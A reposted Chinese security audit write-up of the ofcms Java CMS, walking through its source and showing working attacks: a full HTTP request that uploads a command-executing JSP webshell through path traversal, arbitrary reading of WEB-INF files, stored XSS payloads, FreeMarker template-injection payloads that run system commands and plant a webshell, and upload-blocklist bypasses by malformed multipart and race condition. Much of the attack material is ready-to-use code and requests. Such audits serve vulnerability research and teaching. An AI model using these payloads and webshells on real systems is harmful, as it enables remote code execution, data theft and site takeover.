免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  ofcms审计及小知识点延伸

ofcms审计及小知识点延伸

发表时间:2021-07-09 17:04:33  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

1.搭建

ofcms搭建:

git clone https://gitee.com/oufu/ofcms.git

然后导入maven依赖即可

注!!
手动安装重启后、还是打开安装步骤页面。
解决:检查conf/db.properties配置文件是否存在,需要把db-config改成db.properties
这个坑了我很久

2.审计

关于路径问题:
在Controller类中,有以下代码:
111.png
所以如果url中有/cms/template的,就要注意是不是该Controller的,在每个类前面可能还有其他种写法来表示url的路径

这里的url为:http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json
post的参数有:
file_path=&dirs=&res_path=&file_name=&file_content=
代码如下:(// f为添加的注释)

/**
 * 保存模板
 */
public void save() {
    String resPath = getPara("res_path"); // f读取res_path参数
    File pathFile = null;
    if("res".equals(resPath)){ // f判断res_path参数,是否有res
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath());
    }
    String dirName = getPara("dirs"); // f读取dirs为上传路径
    if (dirName != null) { // f判断dirName是否为空
        pathFile = new File(pathFile, dirName); // f读取的dirName传递给pathFile参数,与上个pathFile进行拼接
    }
    String fileName = getPara("file_name"); // f读取file_name为上传文件名
    // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
    String fileContent = getRequest().getParameter("file_content"); // f读取file_content为上传内容
    fileContent = fileContent.replace("<", "<").replace(">", ">"); // f保存的为html文件,replace替换<与>
    File file = new File(pathFile, fileName); // f file即为最终文件名
    FileUtils.writeString(file, fileContent); // f文件上传
    rendSuccessJson();
}

主要分析save()函数,该函数有任意文件上传漏洞
一直到第7行,都没有问题,下面来看8、9行的getSiteTemplateResourcePath()以及getSiteTemplatePath()

public static String getSiteTemplateResourcePath() {
    return PathKit.getWebRootPath() + "/resource/" + getSite().getStr("template_path");
}
public static String getSiteTemplatePath() {
    return getFrontTemplatePath() + getSite().getStr("template_path");
}

PathKit.getWebRootPath()读取网站根路径,这里特指/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/
new File(a,b)为拼接一个文件路径,输出得到的路径为a+b,如下:

File pathFile = new File("/Users/f0ngf0ng");
String dirName = "/ff";
pathFile = new File(pathFile, dirName);
System.out.print(pathFile);

输出为:/Users/f0ngf0ng/ff

file_path参数无用,整个save函数没有调用
res_path参数,决定上传位置有没有/resource/路径
file_name参数,决定上传的文件名
file_content参数,决定上传的内容
dirs参数,决定上传的路径

整个逻辑为,先判断res_path参数,如果值有res,就传入到resource路径内,上传路径为网站根目录与dirs拼接,文件名为file_name
举两个例子:

eg1:

dirs=/&res_path=res&file_name=test.html&file_content=1
上传的路径为:
/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/resource/default/test.html

eg2:

dirs=/&res_path=&file_name=test.html&file_content=1
上传的路径为:
/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/WEB-INF/page/default/test.html

下面通过网页中的元素(如图片)找到能访问的地方:
1.png
故dirs参数可以为dirs=…/…/static/assets/image
就可以上传至image文件夹内:
2.png
下面进行拿shell操作:
request:

POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: application/json, text/java, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 538
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=5E9437762DDDE7307503020A723D1CE5

dirs=../../static/assets/image&res_path=res&file_name=test.jsp&file_content=%3C%25%0A++++if(%22f0ng%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

3.png
可以看到,虽然是static文件夹,还是可以解析jsp文件的
这里再看一个函数,大佬提到的,说因为这个所以只能传到static文件夹内

/
* 请求后缀名处理
* 
* @author OF
* @date 2017年11月24日
*/
public class ActionHandler extends Handler {
   private String[] suffix = { ".html", ".jsp", ".json" };
   public static final String exclusions = "static/";
   // private String baseApi = "api";

   public ActionHandler(String[] suffix) {
       super();
       this.suffix = suffix;
   }

   public ActionHandler() {
       super();
   }

   @Override
   public void handle(String target, HttpServletRequest request,
           HttpServletResponse response, boolean[] isHandled) {
       /**
        * 不包括 suffix 、以及api 地址的直接返回
        */
       /*
        * if (!isSuffix(target) && !"/".equals(target) &&
        * !target.contains(baseApi)) { return; }
        */
       //过虑静态文件
       if(target.contains(exclusions)){
           return;
       }
       target = isDisableAccess(target);
       BaseController.setRequestParams();
//      RequestSupport.setLocalRequest(request);
//      RequestSupport.setRequestParams();
       //JFinal.me().getAction(target,null);
       next.handle(target, request, response, isHandled);
   }

   private String isDisableAccess(String target) {
       for (int i = 0; i < suffix.length; i++) {
           String suffi =  getSuffix(target);
           if (suffi.contains(suffix[i])) {
               return target.replace(suffi, "");
           }
       }
       return target;
   }

   /*
    * private boolean isSuffix(String target) { for (int i = 0; i <
    * suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))
    * { return true; } } return false; }
    */

   public static String getSuffix(String fileName) {
       if (fileName != null && fileName.contains(".")) {
           return fileName.substring(fileName.lastIndexOf("."));
       }
       return "";
   }
}

这里第31行的作用,判断路径里是否有’static/’,追踪contains函数:

public boolean contains(CharSequence s) {
    return indexOf(s.toString()) > -1;
}

可以看到,仅用indexOf来判断了参数是否有’static/’
这里我进行了测试,好像这里模块设置没有用到handle类,可能有些问题;不过如果这里用到的话,由于仅仅用了contains来匹配路径,所以可以采用…/static/…/…来进行绕过,达到任意目录上传效果

url为:
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&dir=/&up_dir=/static&file_name=test.html

/**
 * 模板文件
 */
public void getTemplates() {
    //当前目录
    String dirName = getPara("dir",""); // f获取dir参数
    //上级目录
    String upDirName = getPara("up_dir","/"); // f获取up_dir参数
    //类型区分
    String resPath = getPara("res_path"); // f获取res_path参数
    //文件目录
    String dir = null;
    if(!"/".equals(upDirName)){ // f判断upDirName参数是否有/
          dir = upDirName+dirName; // f upDirName参数不等于'/',拼接upDirName与dirName
    }else{
          dir = dirName; // f upDirName参数等于'/',dirName
    }
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
    }

    File[] dirs = pathFile.listFiles(new FileFilter() { // f文件过滤,是文件夹的返回,否则不返回
        @Override
        public boolean accept(File file) {
            return file.isDirectory();
        }
    });
    if(StringUtils.isBlank (dirName)){ // f判断dirName是否为空
        upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
    }
    setAttr("up_dir_name",upDirName); // f传入的up_dir参数
    setAttr("up_dir","".equals(dir)?"/":dir); // f 返回up_dir参数,dir是否为空,是返回/,不是则返回dir
    setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName); // f dir是否为空,是则为默认路径,不是则为dir
    setAttr("dirs", dirs); // f经过文件过滤返回的文件夹
    /*if (dirName != null) {
        pathFile = new File(pathFile, dirName);
    }*/
    File[] files = pathFile.listFiles(new FileFilter() { //f文件过滤,文件末尾为.html、.、.css、.js的返回,否则不返回
        @Override
        public boolean accept(File file) {
            return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".")
                    || file.getName().endsWith(".css") || file.getName().endsWith(".js")); // f限制了读取的文件类型
        }
    });
    setAttr("files", files); // f返回经过文件过滤的文件
    String fileName = getPara("file_name", "index.html"); // f file_name默认值为index.html
    File editFile = null;
    if (fileName != null && files != null && files.length > 0) {
        for (File f : files) { // f遍历返回的文件
            if (fileName.equals(f.getName())) { // f如果文件名与返回的文件名中有相等
                editFile = f;
                break;
            }
        }
        if (editFile == null) { // f如果文件名与返回的文件名中无相等的,则editFile为数组第一个文件
            editFile = files[0];
            fileName = editFile.getName(); // f得到文件名
        }
    }

    setAttr("file_name", fileName); // f将文件名返回页面
    if (editFile != null) {
        String fileContent = FileUtils.readString(editFile); // f读取文件内容
        if (fileContent != null) {
            fileContent = fileContent.replace("<", "<").replace(">", ">"); // f将文件内容进行< >替换 < >
            setAttr("file_content", fileContent); // f将文件内容返回页面
            setAttr("file_path", editFile); // f将文件路径返回页面
        }
    }
    if("res".equals(resPath)) {
        render("/admin/cms/template/resource.html");
    }else{
    render("/admin/cms/template/index.html");
    }
}}


这里大致逻辑为:拼接up_dir与dir,将up_dir与dir路径下的文件(后缀为.js .html .css .)的返回,并且页面可以返回文件夹
res_path参数判断是否有res
dir拼接
up_dir拼接
file_name文件名
通看整个类,没有对文件路径进行处理,仅仅有两个文件过滤,判断是否为文件夹,判断是否为特定后缀的文件,结果直接显示了出来,所以这里存在特定任意文件读取
这里举两个例子:

eg1:

http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&dir=…/&up_dir=/…/
返回的是/…/…/的内容,即/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/目录下的文件

eg2:

http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&file_name=test1.html&dir=/…/…/static&dir_name=…/static
返回的是/…/…/test1.html文件内容,即/Users/f0ngf0ng/JAVA/Tomcat/apache-tomcat-8.5.54/webapps/ofcms_admin_war/static/目录下的test1.html文件

所以这里可以进行任意特定文件读取:
url:
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res&file_name=web.&dir=/…/…/WEB-INF&dir_name=/WEB-INF
4.png

这里先根据Sql的调用方式来看,ofcms运用的是jfinal来进行数据库操作,然后查了一下jfinal的调用机制,如下:

引用:

1、预定义sql模板

使用#sql指令和#end指令可以完成对sql模板的定义。#sql指令接收一个string类型的参数,用来作为该sql的唯一标识。下面我们来一起写一条简单的sql语句,代码如下。

#sql("findUserList")
    select * from t_user where id = ?
#end

在web工程中新建一个sql文件夹,尔后创建一个demo.sql的文件,写入上述代码。当然sql文件的存放位置你可以根据自身工程的实际情况自行调整,这里仅做最简单的演示。
5.png
文件路径示例
需要注意的地方有两点,第一我们使用#sql指令定义了一条名字(ID)叫findUserList的模板sql;第二在sql中使用了?占位符替代了实际传入参数。

2、验证sql的有效性

根据第一步中的操作,我们已经定义了一个sql模板,接下来看看如何将刚才定义的sql在程序中运行。其实很简单,代码如下:

     public void index(){
         //获取预定义的sql,这里使用Db.getSql方法
         String sql = Db.getSql("findUserList");
         //执行查询方法,查找id=3的数据,最后输出到页面
         renderJson(Db.find(sql,3));
     }

执行查询后的输出结果,如下图:
6.png
输出查询结果
注意:其实这里还不能正确输出查询结果,因为还有一点配置没处理,别着急接着往下看。

3、欲用sql模板,必要配置

在插件配置这里其实只要关心和sql相关的两行代码就行。第一行代码是:arp.setBaseSqlTemplatePath()用于设置sql文件的存放路径;第二行代码是: arp.addSqlTemplate(),这行代码的作用是添加外部sql模板文件。

  /**
   * 配置插件
   */
  public void configPlugin(Plugins me) {
      // 配置数据库连接池插件
      DruidPlugin druidPlugin = createDruidPlugin();
      me.add(druidPlugin);
      
      // 配置ActiveRecord插件
      ActiveRecordPlugin arp = new ActiveRecordPlugin(druidPlugin);
      
      //设置sql文件的路径
      arp.setBaseSqlTemplatePath(PathKit.getWebRootPath()+"/sql");
      //添加sql模板
      arp.addSqlTemplate("/demo.sql");
      
      // 所有映射在 MappingKit 中自动化搞定
      _MappingKit.mapping(arp);
      me.add(arp);
  }

可以知道的是,jfinal是调用的sql模板,然后根据sql模板里的?来进行数据的修改等
ofcms这里的url为:
http://localhost:8080/ofcms_admin_war/admin/system/user/add.json
数据为:
user_name=%3Cimg+src%3D1+onerror%3Dalert(111)%3E&role_id=1&login_name=admin2&user_password=123456&user_email=111%40qq.com&user_mobile=18888888888&user_sex=1&status=1&remark=%3Cimg+src%3D1+onerror%3Dalert(111)%3E
下面来看ofcms的代码:(这里是用户管理处的添加)

public void add() {
    Map<String, Object> params = getParamsMap(); // f获取传来的参数
    String password = (String) params.get("user_password");
    password = new Sha256Hash(password).toHex();
    String roleId = (String) params.get("role_id");
    params.remove("role_id");
    params.put("user_password", password);
    Record record = new Record();
    record.setColumns(params); // f获取的参数set进record
    try {
        Db.save(AdminConst.TABLE_OF_SYS_USER, record); //f将record保存进TABLE_OF_SYS_USER即of_sys_user
        if (!StringUtils.isBlank(roleId)) {
            SqlPara sql = Db.getSqlPara("system.user.role_save",record.get("id"), roleId); // frecord.get获取参数1,roleId获取参数2
            Db.update(sql);  //f jfinal用法执行sql
        }

        rendSuccessJson();
    } catch (Exception e) {
        e.printStackTrace();
        rendFailedJson(ErrorCode.get("9999"));
    }
}

13行的system.user为一个模板,role_save为一个模板:
init.sql里

#namespace("system.user")
   #include("system/user.sql")
#end

user.sql里

#sql("role_save")
    insert into of_sys_user_role (role_id,user_id,create_time,status) values( #para(1), #para(0),now(),'1')
#end

下面来看获取数据的代码:

/**
 * 查询列表方法
 */
public void getData() {
    Map<String, Object> params = getParamsMap(); // f获取传来的参数
    SqlPara sql = Db.getSqlPara("system.user.query", params); // f将得到的参数带入查询
    setPageOrderByParams(sql, getPara("field"), getPara("sort"));
    Page<Record> page = Db.paginate(getPageNum(), getPageSize(), sql); // f得到pageNum与pageSize,执行sql
    rendSuccessJson(page.getList(), page.getTotalRow(),page.getPageNumber());// f遍历page,并返回json格式
}

第七行的field与sort应该是排序
user.sql里

#sql("query")
   select u.*,r.role_name from of_sys_user u
   left join of_sys_user_role ur on u.user_id = ur.user_id left join of_sys_role r on ur.role_id = r.role_id
    where u.user_id is not null 
   #if (user_id??) and u.user_id  = #para(user_id)#end
   #if (user_name??) and u.user_name like concat('%', #para(user_name), '%')#end
   #if (user_mobile??) and u.user_mobile like concat('%', #para(user_mobile), '%')#end
   #if (sort?? && field) order by order_field order_sort #end
#end

这里可以看到,没有对输入输出做任何处理,所以如果插入XSS代码,是可以的进行弹窗的
7.png

FreeMarker中包含一个TemplateModel接口,这个接口可以用于构造任意java对象,new操作符可以实例化TemplateModel的实现类。

步骤:
1、寻找可以上传FTL模板的漏洞点
2、尝试注入FTL模板

<#assign test="freemarker.template.utility.Execute"?new()> ${test("id")}

3、查找上传的FTL文件保存路径

<#assign test="freemarker.template.utility.Execute"?new()> ${test("find / -name *.ftl")}

4、获取WebShell

# webshell.ftl <%if ("023".equals(request.getParameter("pwd"))) {java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
# main.ftl <#assign test="freemarker.template.utility.Execute"?new()> ${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl /home/bmpapp/tomcat/webapps/default.war/index.jsp")}

5、访问index.jsp

通过查看ofcms的readme.txt:
8.png
这里有两个服务端注入的payload:
payload1:

<#assign ex="freemarker.template.utility.Execute"?new()> 
${ ex("id") } 

源码1:

public class Execute implements TemplateMethodModel {
    private static final int OUTPUT_BUFFER_SIZE = 1024;

    public Execute() {
    }

    public Object exec(List arguments) throws TemplateModelException {
        StringBuffer aOutputBuffer = new StringBuffer();
        if (arguments.size() < 1) { // f读取参数,如果参数大小小于1
            throw new TemplateModelException("Need an argument to execute");
        } else {
            String aExecute = (String)((String)arguments.get(0)); // f获取参数为aExecute

            try {
                Process exec = Runtime.getRuntime().exec(aExecute);  // f执行aExecute
                InputStream execOut = exec.getInputStream(); // f输出为execOut

                try {
                    Reader execReader = new InputStreamReader(execOut);
                    char[] buffer = new char[1024];

                    for(int bytes_read = execReader.read(buffer); bytes_read > 0; bytes_read = execReader.read(buffer)) {
                        aOutputBuffer.append(buffer, 0, bytes_read);
                    }
                } finally {
                    execOut.close();
                }
            } catch (IOException var13) {
                throw new TemplateModelException(var13.getMessage());
            }

            return aOutputBuffer.toString();
        }
    }
}

这里本地复现了一下,可能是如下代码:

//准备一个String数组
String[] strs = {"id"};
//String数组转List
List<String> strsToList1= Arrays.asList(strs);
Execute a = new Execute();

System.out.println(a.exec(strsToList1));

9.png

payload2:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> 
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >        
<#list 1..10000 as t>
    <#assign line=br.readLine()!"null">
    <#if line=="null">
        <#break>
    </#if>
    ${line}
    ${"<br>"}
</#list>

源码2:

public class ObjectConstructor implements TemplateMethodModelEx {
    public ObjectConstructor() {
    }
    
    public Object exec(List args) throws TemplateModelException {
        if (args.isEmpty()) {
            throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");// f判断参数为空
        } else {
            String classname = args.get(0).toString();
            Class cl = null;

            try {
                cl = ClassUtil.forName(classname); // f动态加载类
            } catch (Exception var6) {
                throw new TemplateModelException(var6.getMessage());
            }
            BeansWrapper bw = BeansWrapper.getDefaultInstance();
            Object obj = bw.newInstance(cl, args.subList(1, args.size())); // f实例化对象
            return bw.wrap(obj);
        }
    }
}

这里大佬说windows可以根据windows的上传原理,这里不再多说,下面说一些其他的办法
根据代码:
upload/MultipartRequest.class的100-108行:

private boolean isSafeFile(UploadFile uploadFile) {
    String fileName = uploadFile.getFileName().trim().toLowerCase();
    if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) { // f判断文件后缀是否以.jsp或者.jspx结尾,这里语句含义文件为不是这两个结尾
        return true;
    } else {  // f文件为是这两个结尾
        uploadFile.getFile().delete(); // f这里就是突破的重点
        return false;
    }
}
servlet/MultipartRequest.class的84-112行:
while((part = parser.readNextPart()) != null) { // f轮询每个参数
    String name = part.getName();
    if (name == null) {
        throw new IOException("Malformed input: parameter name missing (known Opera 7 bug)");
    }

    String fileName;
    if (part.isParam()) {
        ParamPart paramPart = (ParamPart)part;
        fileName = paramPart.getStringValue();
        existingValues = (Vector)this.parameters.get(name);
        if (existingValues == null) {
            existingValues = new Vector();
            this.parameters.put(name, existingValues);
        }

        existingValues.addElement(fileName);
    } else if (part.isFile()) {  // f判断是文件
        FilePart filePart = (FilePart)part;
        fileName = filePart.getFileName();
        if (fileName != null) {
            filePart.setRenamePolicy(policy);
            filePart.writeTo(dir);
            this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType())); // f上传文件
        } else {
            this.files.put(name, new UploadedFile((String)null, (String)null, (String)null, (String)null));
        }
    }
}

upload/MultipartRequest.class的76-90行:
this.multipartRequest = new com.oreilly.servlet.MultipartRequest(request, uploadPath, maxPostSize, encoding, fileRenamePolicy);
Enumeration files = this.multipartRequest.getFileNames();

while(files.hasMoreElements()) {
    String name = (String)files.nextElement();
    String filesystemName = this.multipartRequest.getFilesystemName(name);
    if (filesystemName != null) {
        String originalFileName = this.multipartRequest.getOriginalFileName(name);
        String contentType = this.multipartRequest.getContentType(name);
        UploadFile uploadFile = new UploadFile(name, uploadPath, filesystemName, originalFileName, contentType);
        if (this.isSafeFile(uploadFile)) {
            this.uploadFiles.add(uploadFile);
        }
    }
}

第1行到第11行判断是否为黑名单,中间还是可以进行操作的,只要代码没走到11行,那么jsp或者jspx文件不会被删除
根据servlet的轮询可以先让代码轮询参数,轮询第一个文件名参数后,上传,后面轮询到的参数出错,即可达到代码没有走到黑名单的那步
这里我对后面的参数进行了更改,添加了一个a,可以发现上传成功
10.png

针对这种先上传到服务器,再进行判断删除的方式,条件竞争也可以:
11.png
不断地进行条件竞争上传数据包,在他没有进行delete的时候,就可以在文件夹中看到jsp的文件

参考资料:
https://xz.aliyun.com/t/4712
https://www.freebuf.com/vuls/211327.html
https://blog.csdn.net/u014756827/article/details/81202233?utm_source=blogxgwz5
https://blog.51cto.com/duallay/1936931

责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470